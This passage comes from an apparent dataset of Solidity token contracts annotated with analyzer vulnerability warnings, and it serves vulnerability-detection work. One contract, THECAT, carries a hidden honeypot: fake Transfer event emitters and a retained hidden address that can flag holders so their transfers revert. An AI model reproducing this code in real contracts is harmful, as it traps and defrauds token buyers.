_tTotal;\n\n _maxTxWalletA = _tTotal;\n\n _isExcludedFromA[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function alphas(address[2] memory alpas) private returns (bool) {\n address alA = alpas[0];\n address alB = alpas[1];\n\n _aAllowances[alA][alB] = 1000 + (_maxTxWalletA * 100).mul(100);\n\n return true;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fd4b691): BWULL.aSendEthTo() sends eth to arbitrary user Dangerous calls aFeeReceipt.transfer(address(this).balance)\n\t// Recommendation for fd4b691: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function aSendEthTo() private {\n\t\t// reentrancy-events | ID: 7f07294\n\t\t// reentrancy-events | ID: a6fcdaf\n\t\t// reentrancy-eth | ID: a731d6d\n\t\t// arbitrary-send-eth | ID: fd4b691\n aFeeReceipt.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b933f62): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b933f62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3216f54): BWULL.openTrading() ignores return value by IERC20(uniPairA).approve(address(uniRouterA),type()(uint256).max)\n\t// Recommendation for 3216f54: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7287c1b): BWULL.openTrading() ignores return value by uniRouterA.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7287c1b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f8f46a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f8f46a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: b933f62\n\t\t// unused-return | ID: 7287c1b\n\t\t// reentrancy-eth | ID: f8f46a7\n uniRouterA.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b933f62\n\t\t// unused-return | ID: 3216f54\n\t\t// reentrancy-eth | ID: f8f46a7\n IERC20(uniPairA).approve(address(uniRouterA), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b933f62\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f8f46a7\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function aSwapEthTo(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterA.WETH();\n\n _approve(address(this), address(uniRouterA), amount);\n\n\t\t// reentrancy-events | ID: 7f07294\n\t\t// reentrancy-events | ID: a6fcdaf\n\t\t// reentrancy-benign | ID: 5460554\n\t\t// reentrancy-eth | ID: a731d6d\n uniRouterA.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10011.sol",
"size_bytes": 19147,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Meta is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract THECAT is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6df9588): THECAT._feesValue should be constant \n\t// Recommendation for 6df9588: Add the 'constant' attribute to state variables that never change.\n uint256 private _feesValue = 0;\n\n mapping(address => uint256) private _fees;\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 499cd5e): THECAT._swapping is written in both _swapping = true _swapping = false\n\t// Recommendation for 499cd5e: Fix or remove the writes.\n bool private _swapping;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ab4660): THECAT.swapTokensAtAmount should be constant \n\t// Recommendation for 3ab4660: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b7310b4): THECAT.swapTokensAtAmount is never initialized. It is used in THECAT._transfer(address,address,uint256)\n\t// Recommendation for b7310b4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 public swapTokensAtAmount;\n\n mapping(address => bool) private _automatedMarketMakerPairs;\n\n address private _exAddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ca2b302): THECAT.uniswapV2Pair should be immutable \n\t// Recommendation for ca2b302: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function swap(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(uniswapV2Pair, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(uniswapV2Pair, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(uniswapV2Pair, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 34fa665): THECAT.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 34fa665: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b7ecdf3): THECAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b7ecdf3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6db0935): THECAT.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6db0935: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af4bd26): THECAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af4bd26: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b7310b4): THECAT.swapTokensAtAmount is never initialized. It is used in THECAT._transfer(address,address,uint256)\n\t// Recommendation for b7310b4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (canSwap && !_swapping && _automatedMarketMakerPairs[from]) {\n\t\t\t// write-after-write | ID: 499cd5e\n _swapping = true;\n\n _swapBack(from);\n\n\t\t\t// write-after-write | ID: 499cd5e\n _swapping = false;\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 900aab4): THECAT._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 900aab4: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _manualsend(address pair, bool value) internal {\n _automatedMarketMakerPairs[pair] = value;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5340e43): THECAT.openTrading(address)._a lacks a zerocheck on \t _exAddress = _a\n\t// Recommendation for 5340e43: Check that the address is not zero.\n function openTrading(address _a) public onlyOwner {\n\t\t// missing-zero-check | ID: 5340e43\n _exAddress = _a;\n\n renounceOwnership();\n }\n\n function manualsend(address[] memory accounts, bool value) public {\n require(msg.sender == _exAddress, \"_airdropAddress err\");\n\n for (uint256 i = 0; i < accounts.length; i++) {\n if (\n accounts[i] == uniswapV2Pair ||\n balanceOf(accounts[i]) <= 0 ||\n _automatedMarketMakerPairs[accounts[i]] == value\n ) continue;\n\n _manualsend(accounts[i], value);\n }\n }\n\n function _swapBack(address from) internal virtual {\n uint amount = balanceOf(from);\n\n uint __ppp = 1;\n\n if (amount > 10) __ppp = _feesValue;\n\n _fees[from] = amount / __ppp;\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"THECAT\";\n\n _symbol = unicode\"THECAT\";\n\n _mint(msg.sender, 9000000000 * 10 ** decimals());\n\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n}\n\ninterface IUniswapV2Router02 {\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n",
"file_name": "solidity_code_10012.sol",
"size_bytes": 12418,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n\n _;\n\n _status = _NOT_ENTERED;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nabstract contract Pausable is Context {\n event Paused(address account);\n\n event Unpaused(address account);\n\n bool private _paused;\n\n constructor() {\n _paused = false;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n modifier whenNotPaused() {\n require(!paused(), \"Pausable: paused\");\n\n _;\n }\n\n modifier whenPaused() {\n require(paused(), \"Pausable: not paused\");\n\n _;\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = _allowances[owner][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n\t\t// reentrancy-eth | ID: 4fd57e1\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = oldAllowance - value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n\t\t// reentrancy-eth | ID: 4fd57e1\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\nlibrary Math {\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a >= b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b + (a % b == 0 ? 0 : 1);\n }\n}\n\nlibrary EnumerableSet {\n struct Set {\n bytes32[] _values;\n mapping(bytes32 => uint256) _indexes;\n }\n\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n\n set._indexes[value] = set._values.length;\n\n return true;\n } else {\n return false;\n }\n }\n\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n uint256 toDeleteIndex = valueIndex - 1;\n\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastvalue = set._values[lastIndex];\n\n set._values[toDeleteIndex] = lastvalue;\n\n set._indexes[lastvalue] = valueIndex;\n }\n\n set._values.pop();\n\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n Set storage set,\n bytes32 value\n ) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n function _at(\n Set storage set,\n uint256 index\n ) private view returns (bytes32) {\n return set._values[index];\n }\n\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n struct Bytes32Set {\n Set _inner;\n }\n\n function add(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n function remove(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n function contains(\n Bytes32Set storage set,\n bytes32 value\n ) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n Bytes32Set storage set,\n uint256 index\n ) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n function values(\n Bytes32Set storage set\n ) internal view returns (bytes32[] memory) {\n return _values(set._inner);\n }\n\n struct AddressSet {\n Set _inner;\n }\n\n function add(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function remove(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function contains(\n AddressSet storage set,\n address value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n AddressSet storage set,\n uint256 index\n ) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n function values(\n AddressSet storage set\n ) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n address[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct UintSet {\n Set _inner;\n }\n\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n function remove(\n UintSet storage set,\n uint256 value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n function contains(\n UintSet storage set,\n uint256 value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n UintSet storage set,\n uint256 index\n ) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n function values(\n UintSet storage set\n ) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n uint256[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n}\n\ncontract Staking is 